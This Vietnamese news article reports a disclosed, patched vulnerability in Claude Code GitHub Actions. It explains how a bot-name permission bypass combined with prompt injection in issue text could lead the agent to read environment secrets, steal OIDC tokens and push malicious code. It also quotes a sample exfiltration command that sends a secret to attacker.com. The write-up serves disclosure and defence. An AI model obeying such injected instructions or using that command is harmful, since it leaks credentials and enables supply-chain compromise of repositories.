Lỗ hổng CVE nghiêm trọng: Rủi ro an toàn thông tin trên GitHub

Lỗ hổng CVE nghiêm trọng: Rủi ro an toàn thông tin trên GitHub

Lỗ hổng nghiêm trọng trong quy trình CI/CD của Claude Code GitHub Actions có thể cho phép kẻ tấn công chiếm quyền kiểm soát bất kỳ kho lưu trữ nào sử dụng quy trình chính thức của Anthropic, bao gồm cả cơ sở hạ tầng của chính Anthropic. Lỗ hổng này, được phát hiện bởi nhà nghiên cứu bảo mật RyotaK thuộc GMO Flatt Security và đã được vá trong Claude Code GitHub Actions v1.0.94, bắt nguồn từ mô hình phân quyền lỗi trong hàm checkWritePermissions. Khi kết hợp với các kỹ thuật prompt injection, lỗ hổng này có thể cho phép kẻ tấn công bên ngoài, hoàn toàn không được xác thực, đánh cắp các thông tin nhạy cảm (secrets), chiếm đoạt OIDC token và đẩy mã độc vào bất kỳ kho lưu trữ phụ thuộc nào vào quy trình Claude Code GitHub Actions.

Chi tiết về lỗ hổng bảo mật chuỗi cung ứng

Claude Code GitHub Actions ban đầu hạn chế việc thực thi quy trình làm việc cho người dùng có quyền ghi (write) hoặc quản trị (admin). Tuy nhiên, hàm checkWritePermissions lại tin tưởng một cách vô điều kiện bất kỳ tác nhân nào có tên kết thúc bằng [bot], bất kể quyền truy cập thực tế của họ là gì. Điều này tạo ra một kẽ hở bảo mật nghiêm trọng.

Bỏ qua cơ chế kiểm soát quyền truy cập

Vì GitHub Apps có quyền truy cập đọc ngầm vào các kho lưu trữ công khai và có thể tạo issue hoặc pull request trên bất kỳ kho lưu trữ công khai nào chỉ bằng một installation token, kẻ tấn công có thể bỏ qua hoàn toàn cơ chế kiểm soát này. Cuộc tấn công chỉ yêu cầu ba bước chính:

  • Tạo một GitHub App độc hại.
  • Cài đặt ứng dụng này trên bất kỳ kho lưu trữ nào do kẻ tấn công kiểm soát (không cần quyền đặc biệt).
  • Sử dụng installation token của ứng dụng này để mở một issue hoặc pull request trong kho lưu trữ mục tiêu.

Do tác nhân xuất hiện dưới dạng một GitHub App bot, quá trình kiểm tra quyền đã trả về kết quả đúng, cho phép quy trình làm việc xử lý nội dung do kẻ tấn công kiểm soát. Mặc dù chế độ tag (tag mode) có thêm kiểm tra checkHumanActor, chế độ agent (agent mode) lại thiếu biện pháp bảo vệ này tại thời điểm phát hiện.

Khai thác lỗ hổng Prompt Injection

Sau khi vượt qua được cơ chế kiểm soát, kẻ tấn công có thể tạo một mô tả issue độc hại chứa thông báo lỗi giả để lừa Claude Code thực thi các lệnh nhúng. Đây là một kỹ thuật tấn công prompt injection điển hình. Claude Code cho phép một số lệnh Bash nhất định (như cathead) mà không cần sự chấp thuận rõ ràng của người dùng. Điều này cho phép kẻ tấn công đọc tệp /proc/self/environ, một tệp giả trên Linux phơi bày tất cả các biến môi trường được truyền cho tiến trình quy trình làm việc.

Đánh cắp thông tin nhạy cảm

Trong số các biến môi trường này, nhạy cảm nhất là ACTIONS_ID_TOKEN_REQUEST_TOKENACTIONS_ID_TOKEN_REQUEST_URL. Đây chính là các thông tin xác thực được sử dụng để yêu cầu OpenID Connect (OIDC) token từ GitHub Actions. Claude Code GitHub Actions sử dụng OIDC token này để lấy một installation token đặc quyền của Claude GitHub App từ backend của Anthropic thông qua địa chỉ https://api.anthropic.com/api/github/github-app-token-exchange.

Với các thông tin xác thực bị đánh cắp này, kẻ tấn công có thể sao chép toàn bộ quy trình trao đổi token và lấy được một GitHub App token với quyền ghi vào nội dung kho lưu trữ, issue, pull request và quy trình làm việc. Công cụ mcp__github__update_issue (được cho phép trong quy trình xử lý issue của Anthropic) sau đó đã bị lạm dụng để ghi ngược các thông tin nhạy cảm bị đánh cắp trở lại vào một issue công khai, nơi kẻ tấn công có thể dễ dàng đọc chúng.

Tác động chuỗi cung ứng

Hậu quả nghiêm trọng nhất là kho lưu trữ anthropics/claude-code-action tự nó đã sử dụng một quy trình làm việc ở chế độ agent bị lỗ hổng. Một vụ khai thác thành công sẽ cho phép kẻ tấn công chèn mã độc trực tiếp vào mã nguồn của action, sau đó sẽ lan truyền đến mọi kho lưu trữ phụ thuộc vào nó – một cuộc tấn công chuỗi cung ứng điển hình.

Tổng cộng, chuỗi tấn công đầy đủ bao gồm bảy bước: từ việc tạo một GitHub App giả mạo cho đến việc đẩy mã độc hại vào kho lưu trữ của chính Anthropic. Đây là một ví dụ rõ ràng về rủi ro bảo mật trong chuỗi cung ứng phần mềm.

Vector tấn công phụ trợ

Một cách độc lập, nhà nghiên cứu RyotaK đã xác định một cấu hình sai trong các quy trình ví dụ chính thức của Anthropic sử dụng allowed_non_write_users: "*". Khi kết hợp với quyền issues: write và một quy trình làm việc thứ hai sử dụng id-token: write, kẻ tấn công bên ngoài có thể kết hợp hai quy trình này. Đầu tiên, họ sử dụng quy trình xử lý (triage workflow) để đánh cắp GITHUB_TOKEN thông qua bản tóm tắt chạy quy trình làm việc hiển thị công khai của Claude. Sau đó, họ chỉnh sửa một issue hiện có để chèn các prompt vào quy trình ở chế độ tag, cuối cùng leo thang lên quyền kiểm soát kho lưu trữ hoàn toàn mà không cần vượt qua cơ chế GitHub App.

Đáng chú ý, ngay cả lệnh CLI gh issue view cũng có thể bị vũ khí hóa để đánh cắp dữ liệu. Prompt injection có thể hướng dẫn Claude nhúng thông tin nhạy cảm vào các đối số đường dẫn URL (ví dụ: gh issue view https://attacker.com/<secret>), gửi thông tin xác thực đến một máy chủ bên ngoài.

Phát hiện và Khắc phục Lỗ hổng

Anthropic đã khắc phục các lỗ hổng trong Claude Code GitHub Actions v1.0.94. Các bản vá bao gồm:

  • Thêm lệnh gọi checkHumanActor vào chế độ agent.
  • Tắt phần tóm tắt chạy quy trình làm việc theo mặc định.
  • Loại bỏ các biến môi trường khỏi các tiến trình con được sinh ra bởi Claude Code.
  • Triển khai một trình bao bọc lệnh gh tùy chỉnh, xác thực các đối số và chặn các mẫu URL có khả năng đánh cắp dữ liệu.

Anthropic cũng đã thêm logic để bỏ qua các issue và bình luận được chỉnh sửa sau khi một quy trình làm việc được kích hoạt, đóng lại vector tấn công chuỗi quy trình làm việc.

Đánh giá Mức độ Nghiêm trọng

Nhà nghiên cứu đã đánh giá các lỗ hổng này với điểm CVSS v4.0 là 7.8. Anthropic đã trao thưởng 3.800 USD cùng với 1.000 USD tiền thưởng bổ sung thông qua chương trình bug bounty của họ.

Khuyến nghị cho Người dùng

Người dùng vẫn đang sử dụng Claude Code GitHub Actions được khuyến nghị kiểm tra kỹ lưỡng bất kỳ quy trình làm việc nào sử dụng allowed_non_write_users. Nên hạn chế các secrets được hiển thị chỉ cho khóa API Anthropic và GITHUB_TOKEN. Ngoài ra, việc xem xét nhật ký chạy quy trình làm việc để tìm các dấu hiệu xâm nhập (Indicators of Compromise – IOC) là cực kỳ quan trọng. Việc cập nhật bản vá kịp thời là một biện pháp cần thiết để đảm bảo an toàn thông tin.

Nguồn tham khảo: Flatt.tech Research